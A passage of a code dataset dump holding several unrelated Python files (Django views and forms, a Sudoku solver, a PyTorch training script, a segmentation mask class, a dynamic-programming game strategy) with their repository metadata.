path('info/ajax', views.myPageAjax, name=\"my_page_ajax\"), #회원정보 ajax\n path('info/update', views.myUpdate, name=\"my_update\"), #수정페이지\n path('info/write/',views.myWrite, name=\"my_write\"), #내가쓴글\n path('info/comments/', views.myComments, name=\"my_com\"), #내가쓴댓글\n path('info/posts/', views.MyPostSave, name=\"my_pos\"), #내가쓴글\n path('info/messages/', views.myMessage, name=\"my_msg\"), #내 쪽지함\n path('info/notice/', views.myNotice, name=\"my_notice\"), #내 알림\n path('note/destroy/', views.noteDestroy, name=\"note_destroy\"), #쪽지제거\n path('note/', views.noteRead, name=\"note_read\"), #쪽지읽기\n]","sub_path":"account/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1830,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"543073779","text":"'''\n\nlot of mistakes like not using range properly\nwhich index to use etc\n'''\n\n\n\ndef zombieCluster(zombies):\n rows = len(zombies)\n cols = len(zombies[0])\n\n result = 0\n moves = [(1, 0), (-1, 0), (0, 1), (0, -1)]\n\n def getneighbours(x, y):\n neighbours = []\n for i,j in moves:\n nextx = x + i\n nexty = y + j\n if nextx >= 0 and nexty >= 0 and nextx < rows and nexty < cols :\n neighbours.append((nextx, nexty))\n\n return neighbours\n\n def explore(x, y):\n zombies[x][y] = '0'\n\n for nextx, nexty in getneighbours(x, y):\n if zombies[nextx][nexty] == '1':\n explore(nextx, nexty)\n\n result = 0\n for i in range(rows):\n for j in range(cols):\n if zombies[i][j]=='1':\n explore(i, j)\n result += 1\n\n return result\n","sub_path":"Python/Practice/Graphs/zombieclusters.py","file_name":"zombieclusters.py","file_ext":"py","file_size_in_byte":878,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"20357532","text":"'''\nCreated on 5 June 2014\n\n@author: Martin, Sven\n'''\n\nfrom PyQt5.QtCore import QObject\nfrom animation import communicator\n\nclass pulsatingCardAnimation(QObject):\n '''\n An animation that makes the edge of a card pulsate.\n '''\n\n def __init__(self, cardId, boardView):\n '''\n Constructor.\n '''\n super(pulsatingCardAnimation, self).__init__()\n \n self.cardId = cardId\n self.blurRadius = 1\n self.increaseBlurRadius = True\n \n # Set up signals\n self.com = communicator.communicator()\n self.com.pulsateCardSignal.connect(boardView.pulsateCard)\n \n \n def getCardId(self):\n '''\n Returns the id of the animated card.\n '''\n \n return self.cardId\n \n \n def step(self):\n '''\n Performs one step in the pulsating animation. The animation is implemented\n using a white QGraphicsDropShadowEffect where increased blurRadius blurs the edges\n of the effect.\n '''\n \n # If blur radius is not at edge values, increase or decrease it\n if self.blurRadius > 1 and self.blurRadius < 59:\n if self.increaseBlurRadius == True:\n self.blurRadius = self.blurRadius + 1\n else:\n self.blurRadius = self.blurRadius - 1\n # If blur radius has reached 1, change to increasing blur radius\n elif self.blurRadius == 1:\n self.increaseBlurRadius = True\n self.blurRadius = self.blurRadius + 1\n # If blur radius has reached 59, change to decreasing blur radius\n elif self.blurRadius == 59:\n self.increaseBlurRadius = False\n self.blurRadius = self.blurRadius - 1\n else:\n print(\"PULSATING CARD ANIMATION: Error, wrong blur radius!\")\n \n # Update the card view\n self.com.pulsateCardSignal.emit(self.cardId, self.blurRadius)","sub_path":"code/animation/pulsatingCardAnimation.py","file_name":"pulsatingCardAnimation.py","file_ext":"py","file_size_in_byte":1963,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"17095905","text":"import argparse\nimport numpy as np\nimport torch\nfrom torch.utils.data import Dataset, DataLoader\nfrom model_manager import Manager\nimport sys\nsys.path.append('models')\nfrom dataset import Dataset_mine\n\nparser = argparse.ArgumentParser()\nparser.add_argument('mode', help='Train/Predict', choices=['train', 'predict'])\nparser.add_argument('model', help='Model to be used')\nparser.add_argument('-lr', help= 'Learning rate',type=float, default= 1e-3)\nparser.add_argument('-batch_size', type= int, default= 64)\nparser.add_argument('-epoch_num', type = int, default = 10)\nparser.add_argument('-sigma', help= 'ratio of KL loss and reconstruction loss',type= float, default= 0.5)\nparser.add_argument('-save', help='Name to be save' , default='mdoel.pkl')\nparser.add_argument('-load', help='Weights to be load', default=None)\nparser.add_argument('-log', help='Log file', default='log.txt')\nparser.add_argument('-check_batch_num', help= 'How many batches to show result once', type= int, default=200)\nparser.add_argument('-predict_dir', help= 'Directory which stores predicted images', default='../prediction')\n\nargs = parser.parse_args()\n\n# Prepare datasets, data loader\ndataset_trian = Dataset_mine('../face_data', train= True)\ndataset_valid = Dataset_mine('../face_data', train= False)\ntrian_loader = DataLoader(dataset_trian, batch_size= args.batch_size, shuffle= True)\nvalid_loader = DataLoader(dataset_valid, batch_size= args.batch_size, shuffle= False)\n\ndef get_model(name):\n model_file = __import__(name)\n model = model_file.Model()\n return model\n\ndef main():\n print('main function is running ...')\n model = get_model(args.model)\n manager = Manager(model, args)\n manager.load_data(trian_loader, valid_loader)\n if args.mode == 'train':\n manager.train()\n elif args.mode == 'predict':\n manager.predict()\n\nif __name__ == '__main__':\n main()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1879,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"485881494","text":"class DetectorDataset(utils.Dataset):\n \"\"\"Dataset class for training pneumonia detection on the RSNA pneumonia dataset.\n \"\"\"\n\n def __init__(self, image_fps, image_annotations, orig_height, orig_width):\n super().__init__(self)\n\n # Add classes\n self.add_class('pneumonia', 1, 'Lung Opacity')\n\n # add images\n for i, fp in enumerate(image_fps):\n annotations = image_annotations[fp]\n self.add_image('pneumonia', image_id=i, path=fp,\n annotations=annotations, orig_height=orig_height, orig_width=orig_width)\n\n def image_reference(self, image_id):\n info = self.image_info[image_id]\n return info['path']\n\n def load_image(self, image_id):\n info = self.image_info[image_id]\n fp = info['path']\n ds = pydicom.read_file(fp)\n image = ds.pixel_array\n # If grayscale. Convert to RGB for consistency.\n if len(image.shape) != 3 or image.shape[2] != 3:\n image = np.stack((image,) * 3, -1)\n return image\n\n def load_mask(self, image_id):\n info = self.image_info[image_id]\n annotations = info['annotations']\n count = len(annotations)\n if count == 0:\n mask = np.zeros((info['orig_height'], info['orig_width'], 1), dtype=np.uint8)\n class_ids = np.zeros((1,), dtype=np.int32)\n else:\n mask = np.zeros((info['orig_height'], info['orig_width'], count), dtype=np.uint8)\n class_ids = np.zeros((count,), dtype=np.int32)\n for i, a in enumerate(annotations):\n if a['Target'] == 1:\n x = int(a['x'])\n y = int(a['y'])\n w = int(a['width'])\n h = int(a['height'])\n mask_instance = mask[:, :, i].copy()\n cv2.rectangle(mask_instance, (x, y), (x+w, y+h), 255, -1)\n mask[:, :, i] = mask_instance\n class_ids[i] = 1\n return mask.astype(np.bool), class_ids.astype(np.int32)\n","sub_path":"src/config/DetectorDataset.py","file_name":"DetectorDataset.py","file_ext":"py","file_size_in_byte":2067,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"504957301","text":"from PyNet import NeuralNetwork\nimport sudoku\nimport math\nimport numpy as np\nfrom PIL import Image\nimport os\n\nclass move_state:\n\tdef __init__(self,row_i,column_i,value,further_moves,remaining_deductions,reason = \"\"):\n\t\tself.coord = (row_i,column_i)\n\t\tself.set_value = value\n\t\tself.further_moves_list = further_moves\n\t\tself.deductions_left = remaining_deductions\n\t\tself.current_move = 0\n\t\tself.reason = reason\n\n\tdef __str__(self):\n\t\treturn \"(\"+str(self.coord)+\": \"+str(self.set_value)+\" furthers: \"+str(len(self.further_moves_list))+\")\"\n\t\n\tdef __repr__(self):\n\t\treturn \"(\"+str(self.coord)+\": \"+str(self.set_value)+\" furthers: \"+str(len(self.further_moves_list))+\")\"\n\t\t\ndef make_possibles_matrix(row_length):\n\tall_nums_set = set(range(1,row_length+1))\n\n\tpossibles_matrix = np.matrix([[all_nums_set] * row_length] * row_length)\n\n\treturn possibles_matrix\n\ndef make_sqaures_sets_array(row_length):\n\t\n\tsquares_sets = [set() for index in range(0,row_length)]\n\n\treturn squares_sets\n\ndef determine_elements_square(x_cord,y_cord,row_length):\n\tsquare_length = int(math.sqrt(row_length))\n\n\tsquare_x = math.ceil((x_cord+1)/square_length) -1\n\n\tsquare_y = math.ceil((y_cord+1)/square_length)\n\n\treturn (square_y + square_x * square_length) - 1\n\ndef determine_square_first_element_coord(square_index,row_length):\n\tsquare_length = int(math.sqrt(row_length))\n\n\tspace_x = ((square_index) // square_length) * square_length\n\tspace_y = ((square_index) % square_length) * square_length\n\t\n\treturn space_x,space_y\n\ndef determine_square_element_respect_to_index(start_x,start_y,row_length,inner_index):\n\tsquare_length = int(math.sqrt(row_length))\n\n\tx_contrib = ((inner_index) % square_length)\n\ty_contrib = ((inner_index) // square_length)\n\n\n\treturn start_x+x_contrib,start_y+y_contrib\n\ndef create_sets_arrays(square_mat,row_length):\n\n\trow_sets = []\n\tcolumn_sets = []\n\n\tfor i in range(0,row_length):\n\t\trow_sets.append(set(square_mat[i,:]))\n\n\t\tcolumn_sets.append(set(square_mat[:,i]))\n\n\treturn row_sets,column_sets\n\ndef initial_setup(square_mat,possibles_mat,squares_sets,row_sets,column_sets,row_size,remaining_deductions,verbose = False):\n\n\tfor row_i in range (0,row_size):\n\n\t\tfor column_i in range (0,row_size):\n\t\t\t\n\t\t\tsquare_val = square_mat[row_i,column_i]\n\n\t\t\t#if(verbose):\n\t\t\t\t#print(\"Square Value:\")\n\t\t\t\t#print(square_val)\n\t\t\t\n\t\t\tif(square_val != 0):\n\t\t\t\tpossibles_mat[row_i,column_i] = set([])\n\t\t\t\tremaining_deductions -= 1\n\n\t\t\t\tlarge_square_index = determine_elements_square(row_i,column_i,row_size)\n\t\t\t\t\n\t\t\t\t#if(verbose):\n\t\t\t\t\t#print(\"Large Square Index:\")\n\t\t\t\t\t#print(large_square_index)\n\t\t\t\t#squares_sets[large_square_index].add(square_val)\n\t\t\t\tsquares_sets[large_square_index].add(square_val)\n\t\t\telse:\t\n\t\t\t\tpossibles_mat[row_i,column_i] = possibles_mat[row_i,column_i].difference(row_sets[row_i])\n\t\t\t\tpossibles_mat[row_i,column_i] = possibles_mat[row_i,column_i].difference(column_sets[column_i])\n\n\tfor row_i in range (0,row_size):\n\n\t\tfor column_i in range (0,row_size):\n\t\t\t\n\t\t\tsquare_val = square_mat[row_i,column_i]\n\t\t\t\n\t\t\tif(square_val == 0):\n\t\t\t\tlarge_square_index = determine_elements_square(row_i,column_i,row_size)\n\n\t\t\t\tpossibles_mat[row_i,column_i] = possibles_mat[row_i,column_i].difference(squares_sets[large_square_index])\n\n\treturn remaining_deductions\n\ndef look_for_square_based_moves(possibles_mat,row_size,moves_list,remaining_deductions,verbose = False):\n\tfor row_i in range (0,row_size):\n\n\t\tfor column_i in range (0,row_size):\n\n\t\t\tif(verbose):\n\t\t\t\tprint(\"row_i,column_i:\"+str(row_i)+\",\"+str(column_i))\n\n\t\t\tsquare_index = determine_elements_square(row_i,column_i,row_size)\n\t\t\tsquare_space_start_x,square_space_start_y = determine_square_first_element_coord(square_index,row_size) \n\n\t\t\tif(verbose):\n\t\t\t\tprint(\"square_space_start_x,square_space_start_y:\")\n\t\t\t\tprint(square_space_start_x,square_space_start_y)\n\t\t\t\n\n\t\t\tcurrent_space_set = possibles_mat[row_i,column_i]\n\t\t\t\n\t\t\tif(verbose):\n\t\t\t\tprint(\"Starting Possibles:\")\n\t\t\t\tprint(current_space_set)\n\t\t\t\n\t\t\tfor square_space_index in range(0,row_size):\n\t\t\t\tcheck_x,check_y = determine_square_element_respect_to_index(square_space_start_x,square_space_start_y,row_size,square_space_index)\n\t\t\t\t\n\t\t\t\tif(verbose):\n\t\t\t\t\tprint(\"check_x,check_y:\")\n\t\t\t\t\tprint(check_x,check_y)\n\t\t\t\t\tprint(\"possibles_mat[check_x,check_y]\")\n\t\t\t\t\tprint(possibles_mat[check_x,check_y])\n\t\t\t\t\t\n\t\t\t\tif(not((row_i == check_x) and (column_i == check_y))):\t\n\t\t\t\t\tcurrent_space_set = current_space_set.difference(possibles_mat[check_x,check_y])\n\t\t\t\t\tif(verbose):\n\t\t\t\t\t\tprint(\"current_space_set:\")\n\t\t\t\t\t\tprint(current_space_set)\n\t\t\tif(verbose):\n\t\t\t\tprint(\"final current_space_set:\")\n\t\t\t\tprint(current_space_set)\n\t\t\t\n\t\t\tif(len(current_space_set) == 1):\n\t\t\t\tmoves_list.append(move_state(row_i,column_i,list(current_space_set)[0],[],remaining_deductions,\"square,\"+str(square_index+1)))\n\n\n\n\ndef look_for_moves(square_mat,possibles_mat,squares_sets,row_sets,column_sets,row_size,moves_list,remaining_deductions,verbose = False):\n\t\n\tfor row_i in range (0,row_size):\n\n\t\tfor column_i in range (0,row_size):\n\t\t\tcurrent_set = possibles_mat[row_i,column_i].difference(squares_sets[determine_elements_square(row_i,column_i,row_size)])\n\t\t\t\n\t\t\tif(len(current_set) == 1):\n\t\t\t\tmoves_list.append(move_state(row_i,column_i,list(current_set)[0],[],remaining_deductions,\"space,\"))\n\t\t\telse:\n\n\t\t\t\tfor check_row_i in range (0,row_size):\n\t\t\t\t\tif(row_i != check_row_i):\n\t\t\t\t\t\tcurrent_set = current_set.difference(possibles_mat[check_row_i,column_i]) \n\t\t\t\t\n\t\t\t\tif(len(current_set) == 1):\n\t\t\t\t\tmoves_list.append(move_state(row_i,column_i,list(current_set)[0],[],remaining_deductions,\"column,\"+str(column_i+1)))\n\n\t\t\t\t\n\t\t\t\tcurrent_set = possibles_mat[row_i,column_i].difference(squares_sets[determine_elements_square(row_i,column_i,row_size)])\n\t\t\t\tfor check_column_i in range (0,row_size):\n\t\t\t\t\tif(column_i != check_column_i):\n\t\t\t\t\t\tcurrent_set = current_set.difference(possibles_mat[row_i,check_column_i])\n\n\t\t\t\tif(len(current_set) == 1):\n\t\t\t\t\tmoves_list.append(move_state(row_i,column_i,list(current_set)[0],[],remaining_deductions,\"row,\"+str(row_i+1)))\n\n\ndef make_move(sudoku_square,possibles_mat,squares_sets,row_sets,column_sets,row_size,move,verbose = False):\n\tcord_x = move.coord[0]\n\tcord_y = move.coord[1]\n\tvalue = move.set_value\n\n\tif(verbose):\n\t\treason_dict = {\"space\":\"Because this was the only remaining possible value for this space.\",\"column\":\"Because this space was the only one in column CN that could take this value.\",\"row\":\"Because this space was the only one in row RN that could take this value.\",\"square\":\"Because this space was the only one in square SN that could take this value.\"}\n\n\t\treason_array = move.reason.split(\",\")\n\t\treason_string = reason_dict[reason_array[0]].replace(\"CN\",reason_array[1]).replace(\"RN\",reason_array[1]).replace(\"SN\",reason_array[1])\n\t\tprint(\"Place Value '\"+str(value)+\"' at \"+str(cord_x+1)+\",\"+str(cord_y+1))\n\t\tprint(reason_string)\n\n\tsudoku_square[cord_x,cord_y] = value\n\n\tpossibles_mat[cord_x,cord_y] = set()\n\t\n\n\n\tfor i in range(0,row_size):\n\t\tpossibles_mat[i,cord_y].discard(value)\n\t\tpossibles_mat[cord_x,i].discard(value)\n\n\n\tlarge_square_index = determine_elements_square(cord_x,cord_y,row_size)\n\n\tsquares_sets[large_square_index].add(value)\n\t\n\trow_sets[cord_x].add(value)\n\t\n\tcolumn_sets[cord_y].add(value)\n\n\ndef solve_sudoku_from_array(sudoku_square):\t\n\tmoves_list = []\t\n\tmoves_left = True\n\tmove_index = 0\n\n\trow_size = sudoku_square.shape[0]\n\n\tlines = [0] * row_size\n\n\tremaining_deductions = row_size * row_size\n\n\tprint(\"Game Square:\")\n\tprint(sudoku_square)\n\n\tprint(\"Possibles Matrix:\")\n\tpossibles_mat = make_possibles_matrix(row_size)\n\tprint(possibles_mat)\n\n\trow_sets,column_sets = create_sets_arrays(sudoku_square,row_size)\n\n\tprint(\"Row Sets:\")\n\tprint(row_sets)\n\n\tprint(\"Column Sets:\")\n\tprint(column_sets)\n\n\tsquares_sets = make_sqaures_sets_array(row_size)\n\n\tprint(\"Square Sets:\")\n\tprint(squares_sets)\n\n\tprint(\"Remaining Deductions:\")\n\tprint(remaining_deductions)\n\n\tremaining_deductions = initial_setup(sudoku_square,possibles_mat,squares_sets,row_sets,column_sets,row_size,remaining_deductions,True)\n\n\tprint(\"Remaining Deductions:\")\n\tprint(remaining_deductions)\n\n\tprint(\"Squares Sets:\")\n\tprint(squares_sets)\n\n\tprint(\"Possibles Matrix:\")\n\tprint(possibles_mat)\n\n\n\twhile_count = 0\n\n\tcurrent_move = \"\"\n\n\n\n\twhile(moves_left and while_count < 100):\n\t\twhile_count += 1\n\t\tprint(sudoku_square)\n\n\t\tif(remaining_deductions == 0):\n\t\t\tprint(\"Sudoku Beaten!\")\n\t\t\tbreak\n\n\t\tpossible_moves = 0\n\t\t#check for possible move lists that have only 1 number left and then check row clues and column clues\n\t\tif(current_move == \"\"):\n\t\t\tlook_for_moves(sudoku_square,possibles_mat,squares_sets,row_sets,column_sets,row_size,moves_list,remaining_deductions,False)\n\t\t\t#print(moves_list[move_index])\n\t\t\tpossible_moves = len(moves_list)\n\t\telse:\n\t\t\tlook_for_moves(sudoku_square,possibles_mat,squares_sets,row_sets,column_sets,row_size,current_move.further_moves_list,remaining_deductions,False)\n\t\t\t#print(current_move.further_moves_list)\n\t\t\tpossible_moves = len(current_move.further_moves_list)\n\n\t\t\n\t\t#check the squares for move clues if no moves from rows//columns\n\t\tif(possible_moves ==0):\n\t\t\tlook_for_square_based_moves(possibles_mat,row_size,current_move.further_moves_list,remaining_deductions,False)\n\t\t\tpossible_moves = len(current_move.further_moves_list)\n\t\t\tif(possible_moves ==0):\n\t\t\t\tmoves_left = False\n\t\t\t\tprint(possibles_mat)\n\t\t\t\tprint(\"No moves left\")\n\n\t\tif(moves_left):\t\n\t\t\tif(current_move ==\"\"):\n\t\t\t\tcurrent_move = moves_list[0]\n\t\t\telse:\n\t\t\t\tcurrent_move = current_move.further_moves_list[0]\n\n\t\t\n\t\t\tmake_move(sudoku_square,possibles_mat,squares_sets,row_sets,column_sets,row_size,current_move,True)\n\t\t\tremaining_deductions -= 1\n\t\t\tmove_index+=1\n\ndef determine_black_or_white(r,g,b):\n\tmean = (int(r)+int(g)+int(b))/3\n\n\treturn (0 if (mean < 128) else 1)\n\ndef image_resize(file_path,width=180):\n\t\n\toutfile = \"temp_img.jpg\"\n\ttry:\n\t\twith Image.open(file_path,\"r\") as im:\n\t\t\tcurrent_width,current_height = im.size\n\t\t\tnew_height = round((width/current_width) * current_height)\n\t\t\tsize = width, new_height\n\t\t\tim.thumbnail(size, Image.ANTIALIAS)\n\t\t\tim.save(outfile, \"JPEG\")\n\texcept IOError:\n\t\tprint (\"cannot create thumbnail for '%s'\" % file_path)\n\n\treturn outfile\n\ndef create_tile_inputs_matrx(file_path,width_in_pix,width_in_tiles=9):\n\twith Image.open(image_resize(file_path,width_in_pix)) as im:\n\n\t\trgb_list = list(im.getdata())\n\n\t\tr_index = 0\n\t\tc_index = 0\n\n\t\ttile_size = int(width_in_pix / width_in_tiles)\n\n\n\t\tpixel_list = [0]*(tile_size*tile_size)\n\t\ttile_list = [0] * (width_in_tiles*width_in_tiles)\n\n\t\tfor i in range(0,len(tile_list)):\n\t\t\ttile_list[i] = pixel_list[:]\n\n\t\t\n\t\tcurrent_r = 1\n\t\tcurrent_c = 0\n\n\t\tfor pixel_index in range(0,len(rgb_list)):\n\t\t\tcurrent_c += 1\n\n\t\t\tif(current_c > width_in_pix):\n\t\t\t\tcurrent_c = 1\n\t\t\t\tcurrent_r += 1\n\n\t\t\t\n\t\t\ttile_r_index = (current_r-1) // tile_size\n\t\t\ttile_c_index = (current_c-1) // tile_size\n\t\t\t\n\t\t\tt_index = (tile_c_index) + (width_in_tiles * tile_r_index)\n\n\t\t\tpix_r_index = (current_r - (tile_r_index * tile_size))-1\n\t\t\tpix_c_index = (current_c - (tile_c_index * tile_size))-1\n\t\t\t\n\t\t\n\t\t\tpix_index = pix_c_index + (tile_size * pix_r_index)\n\n\t\t\t\n\t\t\tpix_colour = determine_black_or_white(rgb_list[pixel_index][0],rgb_list[pixel_index][1],rgb_list[pixel_index][2])\n\t\t\n\t\t\ttile_list[t_index][pix_index] = pix_colour\n\n\treturn tile_list\n\n\ndef output_to_file(file_path,width,output_file,outputs=\"\"):\n\tinput_list = create_tile_inputs_matrx(file_path,width)\n\n\n\n\twith open(output_file,\"a\") as fileoutput:\n\t\tfor i in range(0,81):\n\t\t\toutput_line = \"\"\n\t\t\toutput_line += \",\".join([str(x) for x in input_list[i]]).replace(\"[\",\"\").replace(\"]\",\"\")\n\t\t\tif(outputs != \"\"):\n\t\t\t\toutput_line += \",||,\"\n\t\t\t\toutput_line += str(outputs[i]).replace(\"[\",\"\").replace(\"]\",\"\")\n\t\t\toutput_line += \"\\n\"\n\n\t\t\tfileoutput.write(output_line)\n\ndef solve_sudoku(sudoku_image_path):\n\toutput_to_file(sudoku_image_path,180,\"temp_inputs.csv\")\n\n\tNN = NeuralNetwork(input_data_path = \"temp_inputs.csv\",weights_data_path =\"sudoku_number_weights.xml\")\n\n\tNN.run_net()\n\n\n\tvalues = [0] *9\n\n\trow_count = -1\n\tcolumn_count = 9\n\n\n\tfor i in range(0,81):\n\t\toutput_list = NN.output_data[i][0,:].tolist()[0]\n\t\tif(column_count == 9):\n\t\t\tcolumn_count = 1\n\t\t\trow_count += 1\n\t\t\tvalues[row_count] = []\n\t\telse:\n\t\t\tcolumn_count += 1\n\n\t\tvalues[row_count].append(output_list.index(max(output_list)))\n\n\tsolve_sudoku_from_array(np.array(values))\n\nsolve_sudoku(\"3446.jpg\")","sub_path":"OLDsudoku.py","file_name":"OLDsudoku.py","file_ext":"py","file_size_in_byte":12363,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"290592289","text":"from Atividades.Atividade3.Classes.Veiculo import Veiculo\nfrom ClassesAuxiliares.AuxMethods import AuxMethods\nfrom ClassesAuxiliares.FormatFonts import FormatFonts\n\naux = AuxMethods()\nfonte = FormatFonts()\n\n\nclass Bicicleta(Veiculo):\n def __init__(self, marca, qtd_rodas, modelo, numero_marchas, bagageiro):\n super().__init__(marca, qtd_rodas, modelo)\n self.numero_marchas = int(numero_marchas)\n self.bagageiro = bagageiro\n\n def imprimir_informacoes(self):\n super().imprimir_informacoes()\n print(f' {fonte.green(\"Número de marchas:\")} {self.numero_marchas}\\n'\n f' {fonte.green(\"Possui bagageiro:\")} {aux.convert_boolean(self.bagageiro)}')\n","sub_path":"Atividades/Atividade3/Classes/Bicicleta.py","file_name":"Bicicleta.py","file_ext":"py","file_size_in_byte":700,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"16837593","text":"import io\nimport tarfile\nfrom typing import Dict, List, Sequence, Tuple, Union\n\nimport numpy as np\nimport xarray as xr\nfrom skimage.measure import regionprops\n\nfrom starfish.core.types import Axes, Coordinates\n\n\nAXES = [a.value for a in Axes if a not in (Axes.ROUND, Axes.CH)]\nCOORDS = [c.value for c in Coordinates]\n\n\ndef _get_axes_names(ndim: int) -> Tuple[List[str], List[str]]:\n \"\"\"Get needed axes names given the number of dimensions.\n\n Parameters\n ----------\n ndim : int\n Number of dimensions.\n\n Returns\n -------\n axes : List[str]\n Axes names.\n coords : List[str]\n Coordinates names.\n \"\"\"\n if ndim == 2:\n axes = [axis for axis in AXES if axis != Axes.ZPLANE.value]\n coords = [coord for coord in COORDS if coord != Coordinates.Z.value]\n elif ndim == 3:\n axes = AXES\n coords = COORDS\n else:\n raise TypeError('expected 2- or 3-D image')\n\n return axes, coords\n\n\ndef validate_segmentation_mask(arr: xr.DataArray):\n \"\"\"Validate if the given array is a segmentation mask.\n\n Parameters\n ----------\n arr : xr.DataArray\n Array to check.\n \"\"\"\n if not isinstance(arr, xr.DataArray):\n raise TypeError(f\"expected DataArray; got {type(arr)}\")\n\n if arr.ndim not in (2, 3):\n raise TypeError(f\"expected 2 or 3 dimensions; got {arr.ndim}\")\n\n if arr.dtype != np.bool:\n raise TypeError(f\"expected dtype of bool; got {arr.dtype}\")\n\n axes, coords = _get_axes_names(arr.ndim)\n dims = set(axes)\n\n if dims != set(arr.dims):\n raise TypeError(f\"missing dimensions '{dims.difference(arr.dims)}'\")\n\n if dims.union(coords) != set(arr.coords):\n raise TypeError(f\"missing coordinates '{dims.union(coords).difference(arr.coords)}'\")\n\n\nclass SegmentationMaskCollection:\n \"\"\"Collection of binary segmentation masks with a list-like access pattern.\n\n Parameters\n ----------\n masks : List[xr.DataArray]\n Segmentation masks.\n \"\"\"\n def __init__(self, masks: List[xr.DataArray]):\n for mask in masks:\n validate_segmentation_mask(mask)\n\n self._masks = masks\n\n def __getitem__(self, index):\n return self._masks[index]\n\n def __iter__(self):\n return iter(self._masks)\n\n def __len__(self):\n return len(self._masks)\n\n def append(self, mask: xr.DataArray):\n \"\"\"Add an existing segmentation mask.\n\n Parameters\n ----------\n arr : xr.DataArray\n Segmentation mask.\n \"\"\"\n validate_segmentation_mask(mask)\n self._masks.append(mask)\n\n @classmethod\n def from_label_image(\n cls,\n label_image: np.ndarray,\n physical_ticks: Dict[Coordinates, Sequence[float]]\n ) -> \"SegmentationMaskCollection\":\n \"\"\"Creates segmentation masks from a label image.\n\n Parameters\n ----------\n label_image : int array\n Integer array where each integer corresponds to a region.\n physical_ticks : Dict[Coordinates, Sequence[float]]\n Physical coordinates for each axis.\n\n Returns\n -------\n masks : SegmentationMaskCollection\n Masks generated from the label image.\n \"\"\"\n props = regionprops(label_image)\n\n dims, _ = _get_axes_names(label_image.ndim)\n\n masks: List[xr.DataArray] = []\n\n coords: Dict[str, Union[list, Tuple[str, Sequence]]]\n\n # for each region (and its properties):\n for label, prop in enumerate(props):\n # create pixel coordinate labels from the bounding box\n # to preserve spatial indexing relative to the original image\n coords = {d: list(range(prop.bbox[i], prop.bbox[i + len(dims)]))\n for i, d in enumerate(dims)}\n\n # create physical coordinate labels by taking the overlapping\n # subset from the full span of labels\n for d, c in physical_ticks.items():\n axis = d.value[0]\n i = dims.index(axis)\n coords[d.value] = (axis, c[prop.bbox[i]:prop.bbox[i + len(dims)]])\n\n name = str(label + 1)\n name = name.zfill(len(str(len(props)))) # pad with zeros\n\n mask = xr.DataArray(prop.image,\n dims=dims,\n coords=coords,\n name=name)\n masks.append(mask)\n\n return cls(masks)\n\n @classmethod\n def from_disk(cls, path: str) -> \"SegmentationMaskCollection\":\n \"\"\"Load the collection from disk.\n\n Parameters\n ----------\n path : str\n Path of the tar file to instantiate from.\n\n Returns\n -------\n masks : SegmentationMaskCollection\n Collection of segmentation masks.\n \"\"\"\n masks = []\n\n with tarfile.open(path) as t:\n for info in t.getmembers():\n f = t.extractfile(info.name)\n mask = xr.open_dataarray(f)\n masks.append(mask)\n\n return cls(masks)\n\n def save(self, path: str):\n \"\"\"Save the segmentation masks to disk.\n\n Parameters\n ----------\n path : str\n Path of the tar file to write to.\n \"\"\"\n with tarfile.open(path, 'w:gz') as t:\n for i, mask in enumerate(self._masks):\n data = mask.to_netcdf()\n with io.BytesIO(data) as buff:\n info = tarfile.TarInfo(name=str(i) + '.nc')\n info.size = len(data)\n t.addfile(tarinfo=info, fileobj=buff)\n","sub_path":"starfish/core/segmentation_mask.py","file_name":"segmentation_mask.py","file_ext":"py","file_size_in_byte":5637,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"79881236","text":"from django.contrib import admin\nfrom .models import *\nfrom django.utils.translation import ugettext_lazy as _\n\nclass UndefinedWordPointerAdmin(admin.ModelAdmin):\n actions = ['update']\n list_display = ('word','undefined')\n def update(self, request, queryset):\n for undef in queryset:\n undef.update(forced = queryset.count()==1)\n return\n update.short_description=_(u'update selected undefined words')\n# Register your models here.\n\nadmin.site.register(UndefinedWordPointer,UndefinedWordPointerAdmin)\n","sub_path":"lexicon/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":535,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"183035633","text":"# Problem Statement:\n# Given a list of integer, eg [1,3,2,2,4,1]\n# Two players, A and B. Each player can take turns to remove a number from either the front of the list or the back.\n# A goes first, each player takes turns to remove, determine A's winning strategy\n\n\n\ndef goldpot_strategy(gp):\n # dynamic programming problem\n # 'r' mean pop from right, 'l' pop from left\n # 0 means A's turn, 1 means B's turn\n endi = len(gp)\n \n if endi == 0:\n return 0\n \n # check for the grabbing from the front or the back of the list\n # if it's an optimal strategy, then the value for the opponent must be minimized\n a = gp[0] + min(goldpot_strategy(gp[2:]) , goldpot_strategy(gp[1:endi-1]))\n b = gp[endi-1] + min(goldpot_strategy(gp[:endi-2]) , goldpot_strategy(gp[1:endi-1]))\n\n \n return max(a,b)\n","sub_path":"Goldpot_Stragety.py","file_name":"Goldpot_Stragety.py","file_ext":"py","file_size_in_byte":828,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"620672024","text":"from django import forms\nfrom crispy_forms.helper import FormHelper\nfrom crispy_forms.layout import Layout, Fieldset, Submit, Div, MultiField, Field\nfrom crispy_forms.bootstrap import FormActions\n\nclass UploadForm(forms.Form):\n name = forms.CharField(min_length=3, max_length=40, strip=True,\n label=\"Identificación\")\n description = forms.CharField(max_length=1000, widget=forms.Textarea, strip=True,\n label=\"Descripción\")\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.helper = FormHelper()\n self.helper.layout = Layout(\n Div(\n Field('name', css_class='form-control'),\n Field('description', css_class='form-control', rows=5),\n css_class='form-group'\n ),\n FormActions(\n Submit('submit', 